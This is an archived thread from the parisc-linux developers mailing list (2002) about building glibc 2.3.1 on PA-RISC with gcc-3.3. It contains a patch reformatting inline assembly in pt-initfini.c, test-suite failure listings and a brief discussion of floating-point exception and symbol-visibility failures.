List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16722

On Mon, Nov 11, 2002 at 12:36:25PM -0500, John David Anglin wrote:
> > Looks like we need some __asm format fixes?
> 
> These are the changes that I had for glibc-2.2.5-14 to build with gcc-3.3.
> The string literal change makes the asms ugly but I think we have to live
> with it.  I don't know the ins and outs of why the change was necessary
> but I know the cpp people will not change back.

> +	stw	%rp,-20(%sp)\n\
> +	stwm	%r4,64(%sp)\n\
> +	stw	%r19,-32(%sp)\n\

By and large we've preferred the following style which is less ugly, IMO:

"	stw	%rp,-20(%sp)\n"
"	stwm	%r4,64(%sp)\n"
"	stw	%r19,-32(%sp)\n"

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 13:20:12 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20021111182012.GN8848@systemhalted>
References: <20021111171255.GI8848@systemhalted> <200211111736.gABHaP7E002352@hiauly1.hia.nrc.ca> <20021111180016.D29998@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621903 16707 80.91.229.3 (22 Nov 2014 02:05:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:03 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 11:20:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5966F4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 11:20:03 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18BJAS-0002PR-00; Mon, 11 Nov 2002 13:20:12 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Content-Disposition: inline
In-Reply-To: <20021111180016.D29998@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (2% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16723

On Mon, Nov 11, 2002 at 06:00:16PM +0000, Matthew Wilcox wrote:
> On Mon, Nov 11, 2002 at 12:36:25PM -0500, John David Anglin wrote:
> > > Looks like we need some __asm format fixes?
> > 
> > These are the changes that I had for glibc-2.2.5-14 to build with gcc-3.3.
> > The string literal change makes the asms ugly but I think we have to live
> > with it.  I don't know the ins and outs of why the change was necessary
> > but I know the cpp people will not change back.
> 
> > +	stw	%rp,-20(%sp)\n\
> > +	stwm	%r4,64(%sp)\n\
> > +	stw	%r19,-32(%sp)\n\
> 
> By and large we've preferred the following style which is less ugly, IMO:
> 
> "	stw	%rp,-20(%sp)\n"
> "	stwm	%r4,64(%sp)\n"
> "	stw	%r19,-32(%sp)\n"
> 

All of Uli's fixes have been the ugly way, though I'll change
pt-initfini the nice and pretty way and hope they take the patch :)

c.


From - Thu Nov 08 21:25:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 13:58:47 -0500
Lines: 163
Approved: news@gmane.org
Message-ID: <20021111185847.GA9607@systemhalted>
References: <20021111171255.GI8848@systemhalted> <200211111736.gABHaP7E002352@hiauly1.hia.nrc.ca> <20021111180016.D29998@parcelfarce.linux.theplanet.co.uk> <20021111182012.GN8848@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621904 16708 80.91.229.3 (22 Nov 2014 02:05:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:04 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 11:58:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D2784829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 11:58:38 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18BJln-0002WL-00; Mon, 11 Nov 2002 13:58:47 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Content-Disposition: inline
In-Reply-To: <20021111182012.GN8848@systemhalted>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (68% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16724

> > 
> > > +	stw	%rp,-20(%sp)\n\
> > > +	stwm	%r4,64(%sp)\n\
> > > +	stw	%r19,-32(%sp)\n\
> > 
> > By and large we've preferred the following style which is less ugly, IMO:
> > 
> > "	stw	%rp,-20(%sp)\n"
> > "	stwm	%r4,64(%sp)\n"
> > "	stw	%r19,-32(%sp)\n"
> > 
> 
> All of Uli's fixes have been the ugly way, though I'll change
> pt-initfini the nice and pretty way and hope they take the patch :)
> 

Either way is pretty if you space it nicely...
I think the following patch is correct, it's currently building...

c.


diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c
--- glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c	2002-08-26 18:39:29.000000000 -0400
+++ glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c	2002-11-11 13:36:31.000000000 -0500
@@ -41,70 +41,70 @@
    and epilogues.  Therefore we write these in assembly to make sure
    they do the right thing.  */
 
-__asm__ ("
-
-#include \"defs.h\"
-
-/*@HEADER_ENDS*/
-
-/*@_init_PROLOG_BEGINS*/
-	.section .init
-	.align 4
-	.globl _init
-	.type _init,@function
-_init:
-	stw	%rp,-20(%sp)
-	stwm	%r4,64(%sp)
-	stw	%r19,-32(%sp)
-	bl	__pthread_initialize_minimal,%rp
-	copy	%r19,%r4	/* delay slot */
-	copy	%r4,%r19
-/*@_init_PROLOG_ENDS*/
-
-/*@_init_EPILOG_BEGINS*/
-/* Here is the tail end of _init.  */
-	.section .init
-	ldw	-84(%sp),%rp
-	copy	%r4,%r19
-	bv	%r0(%rp)
-_end_init:
-	ldwm	-64(%sp),%r4
-
-/* Our very own unwind info, because the assembler can't handle
-   functions split into two or more pieces.  */
-	.section .PARISC.unwind,\"a\",@progbits
-	.extern _init
-	.word	_init, _end_init
-	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08
-
-/*@_init_EPILOG_ENDS*/
-
-/*@_fini_PROLOG_BEGINS*/
-	.section .fini
-	.align 4
-	.globl _fini
-	.type _fini,@function
-_fini:
-	stw	%rp,-20(%sp)
-	stwm	%r4,64(%sp)
-	stw	%r19,-32(%sp)
-	copy	%r19,%r4
-/*@_fini_PROLOG_ENDS*/
-
-/*@_fini_EPILOG_BEGINS*/
-	.section .fini
-	ldw	-84(%sp),%rp
-	copy	%r4,%r19
-	bv	%r0(%rp)
-_end_fini:
-	ldwm	-64(%sp),%r4
-
-	.section .PARISC.unwind,\"a\",@progbits
-	.extern _fini
-	.word	_fini, _end_fini
-	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08
-
-/*@_fini_EPILOG_ENDS*/
-
-/*@TRAILER_BEGINS*/
+__asm__ ("								\n\
+									\n\
+#include \"defs.h\"							\n\
+									\n\
+/*@HEADER_ENDS*/							\n\
+									\n\
+/*@_init_PROLOG_BEGINS*/						\n\
+	.section .init							\n\
+	.align 4							\n\
+	.globl _init							\n\
+	.type _init,@function						\n\
+_init:									\n\
+	stw	%rp,-20(%sp)						\n\
+	stwm	%r4,64(%sp)						\n\
+	stw	%r19,-32(%sp)						\n\
+	bl	__pthread_initialize_minimal,%rp			\n\
+	copy	%r19,%r4	/* delay slot */			\n\
+	copy	%r4,%r19						\n\
+/*@_init_PROLOG_ENDS*/							\n\
+									\n\
+/*@_init_EPILOG_BEGINS*/						\n\
+/* Here is the tail end of _init.  */					\n\
+	.section .init							\n\
+	ldw	-84(%sp),%rp						\n\
+	copy	%r4,%r19						\n\
+	bv	%r0(%rp)						\n\
+_end_init:								\n\
+	ldwm	-64(%sp),%r4						\n\
+									\n\
+/* Our very own unwind info, because the assembler can't handle		\n\
+   functions split into two or more pieces.  */				\n\
+	.section .PARISC.unwind,\"a\",@progbits				\n\
+	.extern _init							\n\
+	.word	_init, _end_init					\n\
+	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08		\n\
+									\n\
+/*@_init_EPILOG_ENDS*/							\n\
+									\n\
+/*@_fini_PROLOG_BEGINS*/						\n\
+	.section .fini							\n\
+	.align 4							\n\
+	.globl _fini							\n\
+	.type _fini,@function						\n\
+_fini:									\n\
+	stw	%rp,-20(%sp)						\n\
+	stwm	%r4,64(%sp)						\n\
+	stw	%r19,-32(%sp)						\n\
+	copy	%r19,%r4						\n\
+/*@_fini_PROLOG_ENDS*/							\n\
+									\n\
+/*@_fini_EPILOG_BEGINS*/						\n\
+	.section .fini							\n\
+	ldw	-84(%sp),%rp						\n\
+	copy	%r4,%r19						\n\
+	bv	%r0(%rp)						\n\
+_end_fini:								\n\
+	ldwm	-64(%sp),%r4						\n\
+									\n\
+	.section .PARISC.unwind,\"a\",@progbits				\n\
+	.extern _fini							\n\
+	.word	_fini, _end_fini					\n\
+	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08		\n\
+									\n\
+/*@_fini_EPILOG_ENDS*/							\n\
+									\n\
+/*@TRAILER_BEGINS*/							\n\
 ");


From - Thu Nov 08 21:25:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 15:42:48 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <20021111204248.GB9704@systemhalted>
References: <20021111171255.GI8848@systemhalted> <200211111736.gABHaP7E002352@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621904 16711 80.91.229.3 (22 Nov 2014 02:05:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 13:42:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id D15D44829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 13:42:39 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18BLOS-0002n4-00; Mon, 11 Nov 2002 15:42:48 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Content-Disposition: inline
In-Reply-To: <200211111736.gABHaP7E002352@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (29% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16725

> > Looks like we need some __asm format fixes?
> 
> These are the changes that I had for glibc-2.2.5-14 to build with gcc-3.3.
> The string literal change makes the asms ugly but I think we have to live
> with it.  I don't know the ins and outs of why the change was necessary
> but I know the cpp people will not change back.
> 

With gcc-3.3 experimental (cvs pull as of yesterday):

make[2]: *** [/math/test-fenv.out] Error 136
make[2]: *** [/math/test-float.out] Error 1
make[2]: *** [/math/test-double.out] Error 1
make[2]: *** [/math/test-ifloat.out] Error 1
make[1]: *** [math/tests] Error 2

	= Same as before, I'm going to regen these right now.

make[2]: *** [/stdlib/bug-strtod.out] Error 1
make[1]: *** [stdlib/tests] Error 2
make[2]: *** [/libio/tst-mmap-eofsync.out] Error 1
make[2]: *** [/libio/tst-mmap-fflushsync.out] Error 1
make[1]: *** [libio/tests] Error 2
make[2]: *** [/dlfcn/default.out] Error 1
make[2]: *** [/dlfcn/tststatic.out] Error 139
make[1]: *** [dlfcn/tests] Error 2
make[2]: [/posix/annexc.out] Error 1 (ignored)
make[2]: *** [/elf/tst-array1.out] Error 1
make[2]: *** [/elf/tst-array2.out] Error 1
make[2]: *** [/elf/tst-array3.out] Error 1

	= These three are new!
	= They seem to be a common failure on x86

make[2]: *** [/elf/vismain.out] Error 1
make[2]: *** [/elf/neededtest.out] Error 14
make[2]: *** [/elf/neededtest2.out] Error 14
make[2]: *** [/elf/neededtest3.out] Error 17
make[2]: *** [/elf/neededtest4.out] Error 2
make[2]: *** [/elf/circleload1.out] Error 9
make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2

c.



From - Thu Nov 08 21:25:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 15:57:37 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200211112057.gABKvb32002918@hiauly1.hia.nrc.ca>
References: <20021111204248.GB9704@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621904 16713 80.91.229.3 (22 Nov 2014 02:05:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 13:57:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73E3E4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 13:57:44 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gABKvbot002919;
	Mon, 11 Nov 2002 15:57:38 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gABKvb32002918;
	Mon, 11 Nov 2002 15:57:37 -0500 (EST)
In-Reply-To: <20021111204248.GB9704@systemhalted> from "Carlos O'Donell" at Nov 11, 2002 03:42:48 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16726

> make[2]: *** [/elf/vismain.out] Error 1
> make[2]: *** [/elf/neededtest.out] Error 14
> make[2]: *** [/elf/neededtest2.out] Error 14
> make[2]: *** [/elf/neededtest3.out] Error 17
> make[2]: *** [/elf/neededtest4.out] Error 2
> make[2]: *** [/elf/circleload1.out] Error 9
> make[1]: *** [elf/tests] Error 2
> make: *** [check] Error 2

I am not surprised about these.  There definitely problems with
the visibility of symbols based on the binutils testsuite.  These
didn't show up before because the visibility tests didn't run
on the pa.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 16:16:24 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <20021111211624.GC9704@systemhalted>
References: <20021111171255.GI8848@systemhalted> <200211111736.gABHaP7E002352@hiauly1.hia.nrc.ca> <20021111204248.GB9704@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621905 16716 80.91.229.3 (22 Nov 2014 02:05:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:05 +0000 (UTC)
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 14:16:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48F5F4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 14:16:15 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18BLuy-0002t8-00; Mon, 11 Nov 2002 16:16:24 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Content-Disposition: inline
In-Reply-To: <20021111204248.GB9704@systemhalted>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (29% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16727

> 
> With gcc-3.3 experimental (cvs pull as of yesterday):
> 
> make[2]: *** [/math/test-fenv.out] Error 136
> make[2]: *** [/math/test-float.out] Error 1
> make[2]: *** [/math/test-double.out] Error 1
> make[2]: *** [/math/test-ifloat.out] Error 1
> make[1]: *** [math/tests] Error 2
> 
> 	= Same as before, I'm going to regen these right now.
> 

Hrm....

test-double.out says:

GCONV_PATH=/mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3/iconvdata LC_ALL=C   /mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3/elf/ld.so.1 --library-path /mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3:/mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3/math:/mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3/elf:/mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3/dlfcn:/mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3/nss:/mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3/nis:/mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3/rt:/mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3/resolv:/mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3/crypt:/mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3/linuxthreads /mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3/math/test-double

testing double (without inline functions)
Failure: Real part of: cacos (inf + NaN i) == NaN + inf i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: cacos (-inf + NaN i) == NaN + inf i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: cacos (NaN + inf i) == NaN - inf i: Exception "Invalid operation" set
Failure: Real part of: cacos (NaN - inf i) == NaN + inf i: Exception "Invalid operation" set
Failure: Real part of: cacos (NaN + NaN i) == NaN + NaN i: Exception "Invalid operation" set
Failure: Real part of: ccosh (0.0 + NaN i) == NaN + 0.0 i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: ccosh (-0 + NaN i) == NaN + 0.0 i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: ccosh (inf + NaN i) == inf + NaN i: Exception "Invalid operation" set
Failure: Real part of: ccosh (-inf + NaN i) == inf + NaN i: Exception "Invalid operation" set
Failure: Real part of: cpow (NaN + NaN i, NaN + NaN i) == NaN + NaN i: Exception "Invalid operation" set
Failure: Real part of: csinh (0.0 + NaN i) == 0.0 + NaN i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: csinh (-0 + NaN i) == 0.0 + NaN i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: csinh (inf + NaN i) == inf + NaN i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: csinh (-inf + NaN i) == inf + NaN i plus sign of zero/inf not specified: Exception "Invalid operation" set

Test suite completed:
  2518 test cases plus 2306 tests for exception flags executed.
  14 errors occurred.


They look to be exception related?

c.


From - Thu Nov 08 21:25:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 16:17:13 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20021111211713.GD9704@systemhalted>
References: <20021111204248.GB9704@systemhalted> <200211112057.gABKvb32002918@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621905 16719 80.91.229.3 (22 Nov 2014 02:05:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 14:17:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 609B74829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 14:17:04 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18BLvl-0002tM-00; Mon, 11 Nov 2002 16:17:13 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Content-Disposition: inline
In-Reply-To: <200211112057.gABKvb32002918@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
